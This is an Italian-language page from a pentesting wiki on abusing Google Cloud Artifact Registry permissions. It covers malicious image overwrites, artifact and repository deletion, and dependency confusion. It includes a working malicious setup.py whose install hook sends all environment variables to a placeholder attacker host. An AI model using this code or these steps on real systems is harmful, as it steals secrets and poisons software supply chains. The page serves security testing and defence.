# GCP - Artifact Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Artifact Registry

Per maggiori informazioni su Artifact Registry, consulta:

{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}

### artifactregistry.repositories.uploadArtifacts

Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact contenenti codice malevolo, come Docker images:

<details>
<summary>Caricare un Docker image su Artifact Registry</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# tag the image to upload it
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

> [!CAUTION]
> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che l'immagine con quel tag verrà **scaricata**, sarà scaricata quella dannosa.

<details>

<summary>Carica una libreria Python</summary>

**Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registry puoi evitare questo passaggio):

1.  **Configura la struttura del progetto**:

- Crea una nuova directory per la tua libreria, ad es. `hello_world_library`.
- All'interno di questa directory, crea un'altra directory con il nome del pacchetto, p.es. `hello_world`.
- All'interno della directory del tuo pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il pacchetto.

<details>
<summary>Create project structure</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
```

</details>

2.  **Scrivi il codice della libreria**:

- All'interno della directory `hello_world`, crea un nuovo file Python per il modulo, p.es. `greet.py`.
- Scrivi la funzione "Hello, World!":

<details>
<summary>Create library module</summary>

```python
# hello_world/greet.py
def say_hello():
return "Hello, World!"
```

</details>

3.  **Crea un file `setup.py`**:

- Nella root della directory `hello_world_library`, crea un file `setup.py`.
- Questo file contiene i metadati della libreria e dice a Python come installarla.

<details>
<summary>Create setup.py file</summary>

```python
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
```

</details>

**Ora, carichiamo la libreria:**

1.  **Costruisci il pacchetto**:

- Dalla root della directory `hello_world_library`, esegui:

<details>
<summary>Build Python package</summary>

```sh
python3 setup.py sdist bdist_wheel
```

</details>

2.  **Configura l'autenticazione per twine** (usato per caricare il tuo pacchetto):
- Assicurati di avere `twine` installato (`pip install twine`).
- Usa `gcloud` per configurare le credenziali:

<details>
<summary>Carica il pacchetto con twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>

3. **Pulisci la build**

<details>
<summary>Pulisci gli artefatti della build</summary>
```bash
rm -rf dist build hello_world.egg-info
```
</details>

</details>

> [!CAUTION]
> Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare **versioni maggiori** (o aggiungere un ulteriore **`.0` alla fine** della versione se funziona -non però in python-), o **eliminare l'ultima versione e caricarne una nuova con** (necessario `artifactregistry.versions.delete)`**:**
>
> <details>
> <summary>Delete artifact version</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>

### `artifactregistry.repositories.downloadArtifacts`

Con questo permesso puoi **scaricare artifacts** e cercare **informazioni sensibili** e **vulnerabilità**.

Download a **Docker** image:

<details>
<summary>Scarica immagine Docker da Artifact Registry</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

Scarica una libreria **python**:

<details>
<summary>Scarica una libreria Python da Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
</details>

- Cosa succede se un registry remoto e uno standard sono mescolati in uno virtuale e un pacchetto esiste in entrambi? Consulta questa pagina:

{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
{{#endref}}

### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)

Elimina artefatti dal registry, come docker images:

<details>
<summary>Elimina Docker image da Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

### `artifactregistry.repositories.delete`

Elimina un repository completo (anche se contiene contenuti):

<details>
<summary>Elimina Artifact Registry repository</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
</details>

### `artifactregistry.repositories.setIamPolicy`

Un attacker con questo permesso potrebbe concedersi permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza.

### Pivoting to other Services through Artifact Registry Read & Write

- **Cloud Functions**

Quando viene creata una Cloud Function, una nuova immagine docker viene caricata nell'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova e perfino a cancellare l'immagine corrente (e l'immagine `cache`) ma niente è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere possibile abusare di una Race Condition come con il bucket per cambiare il container docker che verrà eseguito, ma la semplice modifica dell'immagine memorizzata non è sufficiente per compromettere la Cloud Function.

- **App Engine**

Anche se App Engine crea immagini docker dentro Artifact Registry. È stato testato che anche se modifichi l'immagine all'interno di questo servizio e rimuovi l'istanza di App Engine (così ne viene distribuita una nuova), il codice eseguito non cambia.\
Potrebbe essere possibile che eseguendo una Race Condition come con i buckets sia possibile sovrascrivere il codice eseguito, ma questo non è stato testato.


### `artifactregistry.repositories.update`
Un attacker non ha bisogno di permessi specifici su Artifact Registry per sfruttare questo problema—serve solo una configurazione di virtual repository vulnerabile. Questo accade quando un virtual repository combina un repository remoto pubblico (es. PyPI, npm) con uno interno, e la sorgente remota ha priorità uguale o superiore. Se entrambi contengono un pacchetto con lo stesso nome, il sistema seleziona la versione più alta. L'attacker deve solo conoscere il nome del pacchetto interno e poter pubblicare pacchetti sul corrispondente registry pubblico.

Con il permesso `artifactregistry.repositories.update`, un attacker potrebbe modificare le impostazioni upstream di un virtual repository per creare intenzionalmente questa configurazione vulnerabile e usare Dependency Confusion come metodo di persistenza inserendo pacchetti malevoli che gli sviluppatori o i sistemi CI/CD potrebbero installare automaticamente.

L'attacker crea una versione malevola del pacchetto interno nel repository pubblico con un numero di versione più alto. Per i pacchetti Python, questo significa preparare una struttura del pacchetto che imiti quella legittima.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Viene quindi creato un file setup.py contenente codice malevolo che verrà eseguito durante l'installazione. Questo file deve specificare un numero di versione superiore a quello presente nel repository privato.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Costruisci il package ed elimina la wheel per garantire che il codice venga eseguito durante l'installazione.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Carica il pacchetto malevolo nel repository pubblico (ad esempio, test.pypi.org per Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Quando un sistema o servizio installa il pacchetto utilizzando il repository virtuale, scaricherà la versione malevola dal repository pubblico anziché da quella interna legittima, perché la versione malevola ha un numero di versione più alto e il repository remoto ha priorità uguale o superiore.

{{#include ../../../banners/hacktricks-training.md}}
